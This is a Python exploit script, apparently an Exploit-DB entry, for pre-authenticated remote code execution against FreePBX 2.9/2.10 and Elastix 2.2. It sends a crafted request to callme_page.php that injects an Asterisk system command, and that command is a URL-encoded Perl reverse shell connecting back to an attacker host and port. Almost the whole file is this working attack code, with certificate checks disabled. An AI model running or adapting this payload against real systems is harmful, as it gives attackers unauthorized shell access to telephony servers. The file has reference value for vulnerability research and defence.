18650.py

#!/usr/bin/python3

############################################################
# Exploit Title: FreePBX / Elastix pre-authenticated remote code execution exploit
# Google Dork: oy vey
# Date: March 23rd, 2012
# Author: muts
# Version: FreePBX 2.10.0/ 2.9.0, Elastix 2.2.0, possibly others.
# Tested on: multiple
# CVE : notyet
# Blog post : http://www.offensive-security.com/vulndev/freepbx-exploit-phone-home/ 
# Archive Url : http://www.offensive-security.com/0day/freepbx_callmenum.py.txt
############################################################
# Discovered by Martin Tschirsich
# http://seclists.org/fulldisclosure/2012/Mar/234
# http://www.exploit-db.com/exploits/18649
# Edited: Andrea Bruschi - use requests instead of urllib - bypass cert verification
############################################################

import requests

rhost="10.11.remo.te"
lhost="10.11.lo.cal"
lport=443
extension="1000"

# Reverse shell payload

url = 'https://'+str(rhost)+'/recordings/misc/callme_page.php?action=c&callmenum='+str(extension)+'@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22'+str(lhost)+'%3a'+str(lport)+'%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'

res = requests.get(url, allow_redirects=False, verify=False)
print(res.status_code)